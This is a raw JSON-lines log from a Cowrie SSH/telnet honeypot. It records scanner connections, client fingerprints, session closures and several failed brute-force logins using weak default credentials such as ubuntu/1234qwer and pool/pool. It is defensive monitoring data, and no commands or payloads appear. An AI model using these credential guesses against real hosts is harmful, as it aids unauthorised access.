{"eventid":"cowrie.session.closed","duration":30.705986976623535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:01.096795Z","src_ip":"94.23.163.94","session":"bbeebeb06847","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:01.140922Z","src_ip":"80.94.92.182","session":"dee8f6d405f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.296162366867065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:01.262206Z","src_ip":"94.23.163.94","session":"7397a6eaba52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:02.230117Z","src_ip":"80.94.92.182","session":"dee8f6d405f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34740,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d20563c9514","protocol":"ssh","message":"New connection: 176.65.139.103:34740 (10.17.0.5:22) [session: 9d20563c9514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:02.265909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:02.275721Z","src_ip":"176.65.139.103","session":"9d20563c9514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:02.360509Z","src_ip":"176.65.139.103","session":"9d20563c9514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:02.804857Z","src_ip":"176.65.139.103","session":"9d20563c9514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.868435859680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.065768Z","src_ip":"94.23.163.94","session":"ac55d1aa9ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024965047836304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.072824Z","src_ip":"5.189.169.71","session":"795de4d97d14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.504818Z","src_ip":"80.94.92.182","session":"dee8f6d405f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63277292251587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.853988Z","src_ip":"94.23.163.94","session":"8eb3f3f8afe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"b776fb9b0d21","protocol":"telnet","message":"New connection: 213.136.75.179:46864 (10.17.0.5:23) [session: b776fb9b0d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.944062Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:03.968125Z","src_ip":"176.65.139.103","session":"9d20563c9514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.877442121505737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:04.051740Z","src_ip":"94.23.163.94","session":"c667741fb5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.517211437225342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:04.586668Z","src_ip":"213.136.75.179","session":"87db3caf805d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"883f232f9c7d","protocol":"telnet","message":"New connection: 213.136.75.179:46868 (10.17.0.5:23) [session: 883f232f9c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:04.732520Z"}
{"eventid":"cowrie.session.closed","duration":31.446900367736816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:04.903237Z","src_ip":"155.117.234.131","session":"ae18ae17f089","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":32942,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6276b33f266","protocol":"telnet","message":"New connection: 94.23.163.94:32942 (10.17.0.5:23) [session: d6276b33f266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.075324Z"}
{"eventid":"cowrie.session.closed","duration":35.2762508392334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.292287Z","src_ip":"23.254.167.244","session":"a8c5058c22ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d1021b4ddb","protocol":"telnet","message":"New connection: 213.136.75.179:46884 (10.17.0.5:23) [session: f1d1021b4ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.302838Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"002f0a84d82c","protocol":"telnet","message":"New connection: 213.136.75.179:46892 (10.17.0.5:23) [session: 002f0a84d82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.346165Z"}
{"eventid":"cowrie.session.closed","duration":32.54947853088379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.437854Z","src_ip":"213.136.75.179","session":"cd2a6c11481f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bac8332fed7","protocol":"telnet","message":"New connection: 213.136.75.179:46908 (10.17.0.5:23) [session: 7bac8332fed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.633398Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b504f979c96c","protocol":"telnet","message":"New connection: 213.136.75.179:46918 (10.17.0.5:23) [session: b504f979c96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.722591Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46872,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4f86e06e7f","protocol":"telnet","message":"New connection: 213.136.75.179:46872 (10.17.0.5:23) [session: 7a4f86e06e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:05.869071Z"}
{"eventid":"cowrie.session.closed","duration":30.273948192596436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.072296Z","src_ip":"155.117.234.131","session":"99cbfd88adb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603278636932373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.080838Z","src_ip":"94.23.163.94","session":"d651cc3d4280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908432006835938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.156717Z","src_ip":"94.23.163.94","session":"70fad425317a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.118915557861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.224440Z","src_ip":"94.23.163.94","session":"b9b5ddaba069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ee26901f79","protocol":"telnet","message":"New connection: 213.136.75.179:46924 (10.17.0.5:23) [session: 77ee26901f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.288350Z"}
{"eventid":"cowrie.session.closed","duration":31.286975145339966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:06.517282Z","src_ip":"94.23.163.94","session":"f2a702dc801d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46926,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf9b2b9cb76","protocol":"telnet","message":"New connection: 213.136.75.179:46926 (10.17.0.5:23) [session: dbf9b2b9cb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:07.039037Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60476,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a4ab3498b5","protocol":"ssh","message":"New connection: 159.203.92.129:60476 (159.203.135.109:22) [session: 72a4ab3498b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.178003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.183763Z","src_ip":"159.203.92.129","session":"72a4ab3498b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.188822Z","src_ip":"159.203.92.129","session":"72a4ab3498b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annie","password":"annie","message":"login attempt [annie/annie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.213385Z","src_ip":"159.203.92.129","session":"72a4ab3498b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76656532287598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.313504Z","src_ip":"213.136.75.179","session":"63df02452478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"64fded809d38","protocol":"telnet","message":"New connection: 213.136.75.179:41526 (10.17.0.5:23) [session: 64fded809d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.345061Z"}
{"eventid":"cowrie.session.closed","duration":31.977993965148926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.490126Z","src_ip":"213.136.75.179","session":"9d2bb7c30290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99377179145813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:08.752745Z","src_ip":"213.136.75.179","session":"441ae52a6bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18767237663269,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.145411Z","src_ip":"213.136.75.179","session":"5f16bd9fe5a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.243658Z","src_ip":"159.203.92.129","session":"72a4ab3498b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7dfc950396","protocol":"telnet","message":"New connection: 213.136.75.179:41542 (10.17.0.5:23) [session: 3d7dfc950396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.295357Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35886,"dst_ip":"10.17.0.5","dst_port":23,"session":"753df940edf2","protocol":"telnet","message":"New connection: 5.189.169.71:35886 (10.17.0.5:23) [session: 753df940edf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.460683Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41570,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3aaa4925cc","protocol":"telnet","message":"New connection: 213.136.75.179:41570 (10.17.0.5:23) [session: 7a3aaa4925cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.475796Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb402e5b5375","protocol":"telnet","message":"New connection: 213.136.75.179:41554 (10.17.0.5:23) [session: bb402e5b5375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.480572Z"}
{"eventid":"cowrie.session.closed","duration":33.17765736579895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.522552Z","src_ip":"213.136.75.179","session":"f0bedb0aedc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55596,"dst_ip":"10.17.0.5","dst_port":22,"session":"6910f91c9c46","protocol":"ssh","message":"New connection: 176.65.139.103:55596 (10.17.0.5:22) [session: 6910f91c9c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.614238Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":41586,"dst_ip":"10.17.0.5","dst_port":23,"session":"709a4c26e93e","protocol":"telnet","message":"New connection: 213.136.75.179:41586 (10.17.0.5:23) [session: 709a4c26e93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.627098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.637766Z","src_ip":"176.65.139.103","session":"6910f91c9c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.700674Z","src_ip":"176.65.139.103","session":"6910f91c9c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.773192644119263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.781918Z","src_ip":"213.136.75.179","session":"bd4facd7ff78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.689344882965088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:09.977585Z","src_ip":"213.136.75.179","session":"37ca4594d160","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:10.037649Z","src_ip":"176.65.139.103","session":"6910f91c9c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.105961561203,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:10.685787Z","src_ip":"213.136.75.179","session":"8fad47aef878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.294267416000366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.109486Z","src_ip":"94.23.163.94","session":"91d6616fef89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.177562Z","src_ip":"176.65.139.103","session":"6910f91c9c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.485966205596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.481215Z","src_ip":"94.23.163.94","session":"0dec2ec40648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.581592798233032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.492596Z","src_ip":"213.136.75.179","session":"522752e9fea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4711549282074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.765357Z","src_ip":"213.136.75.179","session":"faefea2da924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794299840927124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.854438Z","src_ip":"213.136.75.179","session":"96888f9f5a22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85354232788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:35:11.870478Z","src_ip":"213.136.75.179","session":"a18dbe4657de","protocol":"telnet"}
